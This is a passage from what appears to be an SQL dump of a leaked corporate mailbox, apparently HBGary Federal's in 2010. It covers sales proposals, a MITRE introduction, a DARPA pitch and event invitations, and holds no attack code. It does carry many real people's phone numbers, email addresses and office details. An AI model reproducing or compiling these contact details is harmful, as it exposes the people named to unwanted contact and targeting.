maria@hbgary.com&gt;&gt;&gt;\r\n&gt;--\r\n\r\n\r\n\r\nTed Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n\r\n  \r\n\r\n',6810,'aaron_hbgary_com/6810.html'),(10474,'2010-08-17','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297008134.M3253P14101Q5328.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,,,','Re: I need help','Phil\r\n \r\nIs this what you would have expected?  Not much there...\r\nOn Tue, Aug 17, 2010 at 12:35 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nNetblocks Searched:12.68.205.8;12.68.205.1512.184.10.64;12.184.10.95216.160.146.72;216.160.146.79\r\nResults:IP : 216.160.146.76Confidence : 10%Events : botnet|conficker a/b : Wed Sep  2 13:59:05 2009 GMT\r\n\r\n\r\nOn Tue, Aug 17, 2010 at 2:16 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:&gt; Can you run an EndGames report on DigitalGlobe and if it has good\r\n&gt; information you should be able to sell the End Games report...&gt;&gt; On Tue, Aug 17, 2010 at 11:30 AM, Ted Vera &lt;ted@hbgary.com&gt; wrote:&gt;&gt;&gt;&gt; That&#39;s great Maria.  Mark and I will do anything we can to help.  As\r\n&gt;&gt; you mentioned, we&#39;re close to the customer, so we could help with&gt;&gt; install, etc..  Let us know how we can assist.&gt;&gt;&gt;&gt; Ted&gt;&gt;&gt;&gt; On Tue, Aug 17, 2010 at 1:28 AM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\n&gt;&gt; &gt; DigitalGlobe needs a proposal that includes:&gt;&gt; &gt;&gt;&gt; &gt; 1 Active Defense 1,000 endpoints&gt;&gt; &gt;&gt;&gt; &gt; 2. Training  / Installation  / Server Requirements etc&gt;&gt; &gt;\r\n&gt;&gt; &gt; -- the goal is when we leave they will be white listed, trained on the&gt;&gt; &gt; software and have scanned the network and learned how to do triage&gt;&gt; &gt;&gt;&gt; &gt; 3. Pricing for services: RE and IDS signatures and Inoculations\r\n&gt;&gt; &gt;&gt;&gt; &gt; We can&#39;t just sell them the software we need to sell them the solution&gt;&gt; &gt; and&gt;&gt; &gt; they have UNIX boxes that they are concerned about so some network&gt;&gt; &gt; monitoring and IDS should be recommended as well...  Rich mentioned\r\n&gt;&gt; &gt; Netwitness freeware, and IDS etc.  They are contacting Ted for the End&gt;&gt; &gt; Games&gt;&gt; &gt; service.&gt;&gt; &gt;&gt;&gt; &gt; So Mike/Phil you should help on what training they need\r\n&gt;&gt; &gt;&gt;&gt; &gt; Joe you should help on what time is required to install and white list&gt;&gt; &gt; and&gt;&gt; &gt; get the basics accomplished.&gt;&gt; &gt;&gt;&gt; &gt; This is where I don&#39;t understand what is SE and what is Services\r\n&gt;&gt; &gt; work....&gt;&gt; &gt; fyi Ted lives in the area...&gt;&gt; &gt;&gt;&gt; &gt; Also, do they need to buy Responder Pro?  They are thinking to buy it&gt;&gt; &gt; next&gt;&gt; &gt; year and get trained on it then.  Do they need some Responder Pro\r\n&gt;&gt; &gt; experience&gt;&gt; &gt; for Triage?&gt;&gt; &gt;&gt;&gt; &gt; I really need help tomorrow and to get this out ASAP&gt;&gt; &gt;&gt;&gt; &gt; Maria&gt;&gt; &gt;&gt;&gt; &gt; --\r\n&gt;&gt; &gt; Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.&gt;&gt; &gt;&gt;&gt; &gt; Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax:&gt;&gt; &gt; 240-396-5971&gt;&gt; &gt; email: maria@hbgary.com\r\n&gt;&gt; &gt;&gt;&gt; &gt;&gt;&gt; &gt;&gt;&gt; &gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt; --&gt;&gt; Ted Vera  |  President  |  HBGary Federal&gt;&gt; Office 916-459-4727x118  | Mobile 719-237-8623\r\n&gt;&gt; www.hbgary.com  |  ted@hbgary.com&gt;&gt;&gt;&gt; --&gt; Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n&gt;&gt; Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971&gt; email: maria@hbgary.com&gt;&gt;&gt;&gt;--\r\n\r\n\r\n\r\nTed Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n',6092,'aaron_hbgary_com/6092.html'),(10475,'2010-08-17','\"Dizon, Ray\" <rdizon@mitre.org>','/aaron@hbgary.com/new/1297008138.M240271P14101Q5330.eml','\"Dizon, Ray\" <rdizon@mitre.org>,\"Aaron Barr\" <aaron@hbgary.com>','RE: MITRE intro','Aaron,\r\n\r\nJust catching up with you again.\r\n\r\nHope all went well at Black Hat, I did get some interesting tidbits out of there from other companies.\r\n\r\nWhen you have some time, let\'s see if you have any interest in one or more initiatives going on here at MITRE.  Would be good to get your feedback, given your involvement in the field.\r\n\r\nRay\r\n\r\n\r\nRay Dizon\r\nDirector, Technology Transfer Office\r\nThe MITRE Corporation\r\nN680\r\n7515 Colshire Drive\r\nMcLean, VA 22102\r\n703-983-7132\r\nrdizon@mitre.org\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Dizon, Ray \r\nSent: Friday, July 23, 2010 2:39 PM\r\nTo: \'Aaron Barr\'\r\nSubject: RE: MITRE intro\r\n\r\nAaron,\r\n\r\nThanks for coming in....you have a lot of good things going on at HB Gary.  \r\n\r\nHere is a sampling of some of the projects ongoing relating to your own line of work.  I am somewhat vague about titles, etc., because of the sensitivity of how this might be implemented.  Certainly, we can arrange some way to formalize through an NDA so we can engage in more detailed discussion between our staff and yourselves.\r\n\r\nDMZ Capability\r\nPhylogenetic Models for Malware\r\nHoneyclient (open source but with some other data/code in addition that can be licensed)\r\nRoot Kit Detection Technology\r\nNext Generation Debugger for Malware\r\nManifold Learning and Dimension Reduction for Classification\r\nTriage tool for incident response teams (sandbox-related)\r\n\r\nAnd then, hopefully, you can apply one or more of these technologies to your federal business customers.\r\n\r\nLet\'s discuss what you\'d like to see out of all of these projects and go from there.  I know that next week is pretty much out.....I did gather that we\'d have some representation at Black Hat as well.  I think we may have at least one speaker who might discuss one of these listed technologies.  In the meantime, have a good trip out to LV.\r\n\r\nRay\r\n\r\n\r\nRay Dizon\r\nDirector, Technology Transfer Office\r\nThe MITRE Corporation\r\nN680\r\n7515 Colshire Drive\r\nMcLean, VA 22102\r\n703-983-7132\r\nrdizon@mitre.org\r\n\r\n\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, July 21, 2010 12:45 AM\r\nTo: Dizon, Ray\r\nSubject: Re: MITRE intro\r\n\r\nYep.  See you at 3\r\n\r\nSent from my iPad\r\n\r\nOn Jul 20, 2010, at 1:18 PM, \"Dizon, Ray\"  wrote:\r\n\r\n> It would have to be 3:00 tomorrow.  Is that OK?\r\n>\r\n> I did see that BlackHat is on, got an email from someone else on it.  I see that one of your folks is a speaker.  Would have been interesting to have gone there.\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Tuesday, July 20, 2010 12:36 PM\r\n> To: Dizon, Ray\r\n> Subject: Re: MITRE intro\r\n>\r\n> Shoot!  I am very sorry Ray.  I can do same time tomorrow if you can.\r\n> Otherwise after blackhat.\r\n>\r\n> Aaron\r\n>\r\n> Sent from my iPad\r\n>\r\n> On Jul 20, 2010, at 9:52 AM, \"Dizon, Ray\"  wrote:\r\n>\r\n>> Didn\'t see you last week......did you want to try again?\r\n>>\r\n>> Ray\r\n>>\r\n>> -----Original Message-----\r\n>> From: Dizon, Ray\r\n>> Sent: Friday, July 09, 2010 10:05 AM\r\n>> To: \'Aaron Barr\'\r\n>> Subject: RE: MITRE intro\r\n>>\r\n>> Thursday the 15th is the better day, how about 2:00?\r\n>>\r\n>> Ray\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Friday, July 09, 2010 10:03 AM\r\n>> To: Dizon, Ray\r\n>> Subject: Re: MITRE intro\r\n>>\r\n>> Sounds good.  How about tuesday or thursday next week?  I work mostly from home right now if I am not traveling, can we meet at the mitre building in Tysons?\r\n>>\r\n>> Aaron\r\n>>\r\n>> On Jul 8, 2010, at 12:42 PM, Dizon, Ray wrote:\r\n>>\r\n>>> David, thanks, see you soon.\r\n>>>\r\n>>> Aaron,\r\n>>>\r\n>>> Be happy to catch up with you some time to chat about social media, etc.\r\n>>>\r\n>>> I\'m open to suggestions on dates/times/venues over the next couple of weeks.  I\'m generally flexible over locations as I drive around enough!\r\n>>>\r\n>>> Ray\r\n>>>\r\n>>>\r\n>>> Ray Dizon\r\n>>> Director, Technology Transfer Office\r\n>>> The MITRE Corporation\r\n>>> N680\r\n>>> 7515 Colshire Drive\r\n>>> McLean, VA 22102\r\n>>> 703-983-7132\r\n>>> rdizon@mitre.org\r\n>>>\r\n>>>\r\n>>>\r\n>>>\r\n>>>\r\n>>>\r\n>>> -----Original Message-----\r\n>>> From: David Etue [mailto:david@etue.net]\r\n>>> Sent: Thursday, July 08, 2010 9:07 AM\r\n>>> To: Aaron Barr; Dizon, Ray\r\n>>> Subject: MITRE intro\r\n>>>\r\n>>> Ray - looking forward to meeting this afternoon.  I wanted to provide a\r\n>>> quick intro beforehand to Aaron Barr, who is the CEO of HB Gary\r\n>>> Federal.  Aaron and I have looked to do some work together around social\r\n>>> media security, and during our discussions he mentioned there was some\r\n>>> technology in MITRE around social media that may be available for tech\r\n>>> transfer.  I wanted to connect the two to discuss further.\r\n>>>\r\n>>> Aaron - Ray is the director of MITRE\'s Technology Transfer Office.\r\n>>> Before joining MITRE, he was an investor in Fidelis while at the\r\n>>> Maryland Venture Fund.  Beyond being the right person to talk to about\r\n>>> this particular opportunity, Ray is a great guy to know in the DC tech\r\n>>> community.\r\n>>>\r\n>>> I\'ll let you two connect directly from here.\r\n>>>\r\n>>> David\r\n>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>>\r\n',4838,'aaron_hbgary_com/4838.html'),(10476,'2010-08-17','BSmern@aol.com','/aaron@hbgary.com/new/1297008142.M236562P14101Q5331.eml','aaron@hbgary.com,aaron@hbgary.com,,','Re: Formative DARPA research project; Next steps after conversation with Aaron','\r\n\r\n\r\n\r\n\r\n17 August 2010 -- 4pm (EDT)\r\n&nbsp;\r\nHi Aaron,\r\n&nbsp;\r\nThanks for our lengthy conversation -- we covered plenty of ground.\r\n&nbsp;\r\nAttached is the current version of our project\'s executive summary with the \r\ncore of our technology component focused on hospital cybersecurity.&nbsp; Since \r\nthe VA and TRICARE military health systems cover 16 million beneficiaries, DARPA \r\nis likely to see significant added value if we propose a novel technology \r\nresearch component that helps VA etc. move towards much more effective \r\ninformation security in their clinical and admin computer networks, including \r\nthe well-known VISTA electronic medical record.&nbsp; I have some strong \r\npartners @ Georgia Tech and am developing&nbsp;additional partners at Emory \r\nHealthcare and Atlanta\'s VA medical center.&nbsp; Perhaps the key partner at \r\nGeorgia Tech is Wenke Lee, PI for a new $6 million MURI on botnet attribution \r\nand removal -- he grew up in China and is a first-rate\r\n&nbsp;\r\nSo please forward this summary to Greg and&nbsp;his world-class development \r\nteam.&nbsp; My thinking is that leveraging your company\'s relatively new \r\nfingerprint tool -- with&nbsp;additional attention to the country-level \r\nattribution problem -- could be shaped into a compelling \"cutting-edge research\" \r\nnarrative within this DARPA proposal and help us win the contract as early as \r\nSeptember.&nbsp; (They want to&nbsp;generate funding commitments for much-larger \r\nclean-slate&nbsp;cybersecurity projects by end of the federal fiscal year, Sept \r\n30th.)&nbsp; \r\n&nbsp;\r\nAs I mentioned, I\'ve had 4 meetings with DARPA/TCTO personnel including its \r\ndirector, Peter Lee, so I understand what they like about this proposed \r\nproject.&nbsp; Knowing your experience with the Cyber Genome proposal you \r\nsubmitted earlier this year, it\'s great that HB Gary understands how to develop \r\na solid DARPA proposal.&nbsp; I\'ve been working on-and-off with DARPA for ~30 \r\nyears -- initially on high-energy laser technology, then on counter-terrorism \r\n(with Jim Tegnelia, former deputy director of DARPA).\r\n&nbsp;\r\nPlease stay in touch and we\'ll explore this collaborative opportunity in \r\nmore detail.&nbsp;&nbsp;All the best --&nbsp;Barry\r\n&nbsp;\r\nBarry \r\nJ. Smernoff, PhDAlphaOmega Collaboration LLC23533 Wimbledon \r\nRoadShaker Heights, OH 44122(216) 410-5477 BlackBerry \r\nmobilebsmernoff@alum.mit.edu \r\n&nbsp;\r\n\r\nIn a message dated 8/16/2010 11:14:27 P.M. Eastern Daylight Time, \r\nbob@hbgary.com writes:\r\n\r\n  Aaron’s \r\n  contact \r\ninfo\r\n',5365,'aaron_hbgary_com/5365.html'),(10477,'2010-08-17','\"JD Kathuria\" <jd@executivebiz.com>','/aaron@hbgary.com/new/1297008142.M468940P14101Q5332.eml','bmalexia@rockwellcollins.com,roger_anderson@appsig.com,zazmi@caci.com,aaron@hbgary.com,pat.burke@sra.com,mike_carpenter@mcafee.com,shawn.carroll@qwest.com,samuel.chun@hp.com,wcooper@comcast.net,lance.cottrell@abraxascorp.com,larry.d.cox@saic.com,bdix@juniper.org,barbara.g.fast@boeing.com,skip.foote@americansystems.com,michael.fraser@usis.com,gjg@mitre.org,steve_k_hawkins@raytheon.com,rodney.joffe@neustar.biz,tiffany_jones@symantec.com,david_joslin@federal.dell.com,jkoenig@harris.com,pelacombe@securemissionsolutions.com,john.lamboy@vangent.com,plamontagne@paradigmsolutions.com,wluti@digitalmanagement.com,vincent.mihalik@wyle.com,alexander.miller@l-3com.com,scottmil@microsoft.com,jmoorcones@safenet-inc.com,john.osterholz@baesystems.com,ccpalmer@us.ibm.com,jpayne@telcordia.com,bill.phelps@accenture.com,jreagan@deloitte.com,james.russell@qinetiq-na.com,kenneth.sannicolas@stanleyassociates.com,nadia.short@gd-ais.com,stewart_bill@bah.com,larry.strang@tasc.com,bill.varner@mantech.com,svisner@csc.com,kathy.warden@ngc.com,jwatters@isightpartners.com,dusty.wince@knowledgecg.com,ines_dunsmore@appsig.com,kgilbo@caci.com,laura_rochette@mcafee.com,sharon.c.jackson@qwest.com,orlandof@saic.com,annette.m.clayberg@boeing.com,jessie.miscar@usis.com,lhormann@mitre.org,rita_g_hall@raytheon.com,lisa.patel@neustar.biz,phil_niskanen@federal.dell.com,jmushro@paradigmsolutions.com,simone.hasson@l-3com.com,valerim@microsoft.com,lorraine.lipka@baesystems.com,kwoc@us.ibm.com,bgarriso@telcordia.com,anissa.l.thomas@accenture.com,rwilloughby@deloitte.com,teresa.brennan@gd-ais.com,dana.briggs@mantech.com,rnichols2@csc.com,jennifer.derflinger@ngc.com,smcclung@isightpartners.com,\"Jim Garrettson\" <jimg@executivebiz.com>,\"Jennifer Jordan-Harrell\" <jennifer@executivebiz.com>','4x24 Cyber Breakfast','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen: Tuesday, September 14, 2010 7:30 AM-9:30 AM (GMT-05:00) Eastern Time (US &amp; Canada).\r\nWhere: Tower Club, Tysons Corner, VA \r\n&nbsp;\r\n*~*~*~*~*~*~*~*~*~*\r\n&nbsp;\r\n&nbsp;\r\n4 x 24 Cyber Breakfast\r\nBill Varner, Chairman\r\n&nbsp;\r\nTower Club, Tyson\'s Corner, VA\r\nSkyline Room\r\n&nbsp;\r\nContact Person: JD Kathuria: 703-226-7010 (office) or 703-863-4274 (cell) or via email at jd@executivebiz.com\r\n&nbsp;\r\n7:30 am to 8:00&nbsp;am&nbsp;&nbsp;&nbsp; Networking\r\n8:00 am to 9:00 am&nbsp;&nbsp;&nbsp; Moderated Q&amp;A with Dr. Greg von Lehman\r\n9:00 am to 9:30 am&nbsp;&nbsp;&nbsp; Event Wrap Up &amp; Networking\r\n&nbsp;\r\n&nbsp;\r\nJoining us for breakfast will be Dr. Greg von Lehman, Provost and Chief Academic Officer for the University of Maryland University Campus (UMUC). &nbsp;In my conversations with Dr. Susan Aldridge, President, UMUC, Greg is clearly to best person to help\r\nus think through and plan actual steps we can take as a group to increase the supply of cyber qualified people. &nbsp;I look forward to seeing you there as we undertake one of the most important contributions we can make as a group to our Nation’s security. &nbsp;- Bill\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n',10488,'aaron_hbgary_com/10488.html'),(10478,'2010-08-17','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297008142.M682809P14101Q5333.eml','\"Penny C. Hoglund\" <penny@hbgary.com>,\"Penny C. Hoglund\" <penny@hbgary.com>,,','Executive Office of the President','Penny\r\n \r\nBrian will work with Charles tomorrow to get the server ready.. They&#39;ve had 1 discussion and he will let Charles guide him step by step to be prepared for Rich Thursday morning.\r\nBrian said it would be great if you can stop by.  He really enjoyed meeting you and he is sending you his home address.\r\n \r\nMaria-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n',7972,'aaron_hbgary_com/7972.html'),(10479,'2010-08-17','\"LinkedIn Connections\" <connections@linkedin.com>','/aaron@hbgary.com/new/1297008142.M943726P14101Q5334.eml','\"Aaron Barr\" <aaron@hbgary.com>','See what Jamie has been up to...','\r\n\r\n  \r\n\r\n\r\n\r\n\r\n           \r\n      \r\n        \r\n\r\n            \r\n               \r\n              \r\n                \r\n                  \r\n                    \r\n                      Aaron, Congratulations!\r\n                    \r\n                    \r\n  You and Jamie are now connected.\r\n                    \r\n                  \r\n                \r\n              \r\n               \r\n\r\n              \r\n              \r\n                \r\n              \r\n            \r\n            \r\n\r\n             \r\n            \r\n              \r\n                                \r\n                \r\n                  \r\n                    \r\n                  \r\n                \r\n                \r\n                \r\n                 \r\n                \r\n                  \r\n                    \r\n                      \r\n                        \r\n                          Jamie Butler \r\n                        \r\n                      \r\n                    \r\n                    \r\n                      \r\n                        \r\n                           Director of Research and Development at Mandiant\r\n                         \r\n \r\n                        \r\n                           \r\n                             \r\n                               \r\n                          \r\n                          View Jamie\'s Profile\r\n                                 \r\n                               \r\n                             \r\n                           \r\n                         \r\n                      \r\n                    \r\n                  \r\n                 \r\n                \r\n                 \r\n                  \r\n                    \r\n                      \r\n                        \r\n                          Washington D.C. Metro Area\r\n                        \r\n                        \r\n                          Computer &amp; Network Security Industry \r\n                        \r\n                        \r\n                          butlerjr@acm.org\r\n                        \r\n                      \r\n                    \r\n                  \r\n                 \r\n\r\n              \r\n            \r\n             \r\n        \r\n      \r\n     \r\n\r\n\r\n      \r\n    \r\n      \r\n        \r\n          \r\n             Jamie\'s Connections (295) \r\n          \r\n          \r\n            See All &#187;\r\n          \r\n        \r\n\r\n        \r\n\r\n        \r\n        \r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Valerio Lupi\r\n                ,\r\n                  Senior Software Engineer at T.E.4I.\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n\r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Peter Silberman\r\n                ,\r\n                  Reverse Engineer &amp; Computer Security Researcher\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n        \r\n        \r\n\r\n        \r\n        \r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Luis Miras\r\n                ,\r\n                  Vulnerability Researcher/Reverse Engineer\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n\r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Rich Cummings\r\n                ,\r\n                  Chief Technology Officer at HBGary, Inc.\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n        \r\n        \r\n\r\n        \r\n\r\n      \r\n    \r\n   \r\n\r\n\r\n\r\n  \r\n    \r\n               \r\n    \r\n      \r\n\r\n        \r\n          \r\n            Companies in Jamie\'s Network:\r\n          \r\n        \r\n\r\n               \r\n          \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     Mandiant\r\n                    \r\n                      Jamie works here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n               \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     Enterasys Networks\r\n                    \r\n                      Jamie worked here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n            \r\n               \r\n          \r\n\r\n            \r\n              \r\n                  \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     National Security Agency\r\n                    \r\n                      Jamie worked here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n               \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     Accenture\r\n                    \r\n                      Jamie knows employees here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n            \r\n\r\n\r\n      \r\n    \r\n   \r\n\r\n    \r\n  \r\n\r\n\r\n  \r\n    \r\n      \r\n        \r\n          \r\n            &copy; 2010, LinkedIn Corporation\r\n          \r\n        \r\n      \r\n    \r\n  \r\n\r\n \r\n\r\n\r\n',1555,'aaron_hbgary_com/1555.html'),(10480,'2010-08-17','\"Samuel S Visner\" <svisner@csc.com>','/aaron@hbgary.com/new/1297008143.M159729P14101Q5335.eml','\"JD Kathuria\" <jd@executivebiz.com>,\"JD Kathuria\" <jd@executivebiz.com>,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,','Re: 4x24 Cyber Breakfast','On my calendar.\r\n\r\n\r\nSam\r\n\r\n\r\n\r\nSamuel Sanders Visner\r\nVice President and Cyber Lead Executive\r\nCSC\r\n3170 Fairview Park Drive, Falls Church, VA  22042 USA\r\nOffice: 1-703-641-2317 | Mobile: 1-202-255-4308 | Fax: 1-888-732-3689 |\r\nsvisner@csc.com | www.csc.com\r\n\r\nThis is a PRIVATE message. If you are not the intended recipient, please\r\ndelete without copying and kindly advise us by e-mail of the mistake in\r\ndelivery.\r\nNOTE: Regardless of content, this e-mail shall not operate to bind CSC to\r\nany order or other contract unless pursuant to explicit written agreement\r\nor government initiative expressly permitting the use of e-mail for such\r\npurpose.\r\n\r\n\r\n|------------->\r\n|             |\r\n|             |\r\n| Calendar    |\r\n| Entry Type  |\r\n|             |\r\n|------------->\r\n  >-------------------------------------------------------------------------------------------------------------------------------------------------->\r\n  |4x24 Cyber Breakfast                                                                                                                              |\r\n  |                                                                                                                                                  |\r\n  |                                                                                                                                                  |\r\n  |Tue 09/14/2010 7:30 AM - 9:30 AM                                                                                                                  |\r\n  |                                                                                                                                                  |\r\n  |                                                                                                                                                  |\r\n  |                                                                                                                                                  |\r\n  |                                                                                                                                                  |\r\n  | Samuel S Visner                                                                                                                                  |\r\n  |                                                                                                                                                  |\r\n  |                                                                                                                                                  |\r\n  |                                                                                                                                                  |\r\n  |                                                                                                                                                  |\r\n  |Chair:                                                                                                                                            |\r\n  |         jd@executivebiz.com                                                                                                                      |\r\n  |Sent By:                                                                                                                                          |\r\n  |         Nicole Kaboli                                                                                                   |\r\n  |                                                                                                                                                  |\r\n  |                                                                                                                                                  |\r\n  |Location:                                                                                                                                         |\r\n  |         Tower Club, Tysons Corner, VA                                                                                                            |\r\n  |                                                                                                                                                  |\r\n  >-------------------------------------------------------------------------------------------------------------------------------------------------->\r\n  >-|\r\n  | |\r\n  >-|\r\n\r\n\r\n                                                                            \r\n                                                                            \r\n                                                                            \r\n                                                                            \r\n                                                                            \r\n                                                                            \r\n                                                                            \r\n                                                                            \r\n                                                                            \r\n                                                                            \r\n                                                                            \r\n                bmalexia@rockwellcollins.com, roger_anderson@appsig.com,    \r\n                zazmi@caci.com, aaron@hbgary.com, pat.burke@sra.com,        \r\n                mike_carpenter@mcafee.com, shawn.carroll@qwest.com,         \r\n                samuel.chun@hp.com, wcooper@comcast.net,                    \r\n                lance.cottrell@abraxascorp.com, larry.d.cox@saic.com,       \r\n                bdix@juniper.org, barbara.g.fast@boeing.com,                \r\n                skip.foote@americansystems.com, michael.fraser@usis.com,    \r\n                gjg@mitre.org, steve_k_hawkins@raytheon.com,                \r\n                rodney.joffe@neustar.biz, tiffany_jones@symantec.com,       \r\n                david_joslin@federal.dell.com, jkoenig@harris.com,          \r\n                pelacombe@securemissionsolutions.com,                       \r\n                john.lamboy@vangent.com, plamontagne@paradigmsolutions.com, \r\n                wluti@digitalmanagement.com, vincent.mihalik@wyle.com,      \r\n                alexander.miller@l-3com.com, scottmil@microsoft.com,        \r\n                jmoorcones@safenet-inc.com, john.osterholz@baesystems.com,  \r\n                ccpalmer@us.ibm.com, jpayne@telcordia.com,                  \r\n                bill.phelps@accenture.com, jreagan@deloitte.com,            \r\n                james.russell@qinetiq-na.com,                               \r\n                kenneth.sannicolas@stanleyassociates.com,                   \r\n                nadia.short@gd-ais.com, stewart_bill@bah.com,               \r\n                larry.strang@tasc.com, bill.varner@mantech.com, Samuel S    \r\n                Visner/FED/CSC, kathy.warden@ngc.com,                       \r\n                jwatters@isightpartners.com, dusty.wince@knowledgecg.com,   \r\n                ines_dunsmore@appsig.com, kgilbo@caci.com,                  \r\n                laura_rochette@mcafee.com, sharon.c.jackson@qwest.com,      \r\n                orlandof@saic.com, annette.m.clayberg@boeing.com,           \r\n                jessie.miscar@usis.com, lhormann@mitre.org,                 \r\n                rita_g_hall@raytheon.com, lisa.patel@neustar.biz,           \r\n                phil_niskanen@federal.dell.com,                             \r\n                jmushro@paradigmsolutions.com, simone.hasson@l-3com.com,    \r\n                valerim@microsoft.com, lorraine.lipka@baesystems.com,       \r\n                kwoc@us.ibm.com, bgarriso@telcordia.com,                    \r\n                anissa.l.thomas@accenture.com, rwilloughby@deloitte.com,    \r\n                teresa.brennan@gd-ais.com, dana.briggs@mantech.com, Rhonda  \r\n                Q Nichols/FED/CSC, jennifer.derflinger@ngc.com,             \r\n                smcclung@isightpartners.com, jimg@executivebiz.com,         \r\n                jennifer@executivebiz.com                                   \r\n                                                                            \r\n                                                                            \r\n                                                                            \r\n\r\n\r\n                                                                            \r\n                                                                            \r\n                                                                            \r\n                                                                            \r\n                                                                            \r\n  When: Tuesday, September 14, 2010 7:30 AM-9:30 AM (GMT-05:00) Eastern     \r\n  Time (US & Canada).                                                       \r\n  Where: Tower Club, Tysons Corner, VA                                      \r\n                                                                            \r\n  *~*~*~*~*~*~*~*~*~*                                                       \r\n                                                                            \r\n                                                                            \r\n  4 x 24 Cyber Breakfast                                                    \r\n  Bill Varner, Chairman                                                     \r\n                                                                            \r\n  Tower Club, Tyson\'s Corner, VA                                            \r\n  Skyline Room                                                              \r\n                                                                            \r\n  Contact Person: JD Kathuria: 703-226-7010 (office) or 703-863-4274 (cell) \r\n  or via email at jd@executivebiz.com           \r\n                                                                            \r\n  7:30 am to 8:00 am    Networking                                          \r\n  8:00 am to 9:00 am    Moderated Q&A with Dr. Greg von Lehman              \r\n  9:00 am to 9:30 am    Event Wrap Up & Networking                          \r\n                                                                            \r\n                                                                            \r\n  Joining us for breakfast will be Dr. Greg von Lehman, Provost and Chief   \r\n  Academic Officer for the University of Maryland University Campus (UMUC). \r\n  In my conversations with Dr. Susan Aldridge, President, UMUC, Greg is     \r\n  clearly to best person to help us think through and plan actual steps we  \r\n  can take as a group to increase the supply of cyber qualified people.  I  \r\n  look forward to seeing you there as we undertake one of the most          \r\n  important contributions we can make as a group to our Nation’s security.  \r\n  - Bill                                                                    \r\n                                                                            \r\n                                                                            \r\n                                                                            \r\n                                                                            \r\n                                                                            \r\n                                                                            \r\n                                                                            \r\n                                                                            \r\n                                                                            \r\n                                                                            \r\n                                                                            \r\n                                                                            \r\n                                                                            \r\n                                                                            \r\n                                                                            \r\n\r\n\r\n',6705,'aaron_hbgary_com/6705.html'),(10481,'2010-08-17','\"Tim Riesen\" <tjriesen@archimedesglobal.com>','/aaron@hbgary.com/new/1297008143.M388868P14101Q5336.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: \"DHS\" Guy','Richard Marshall.  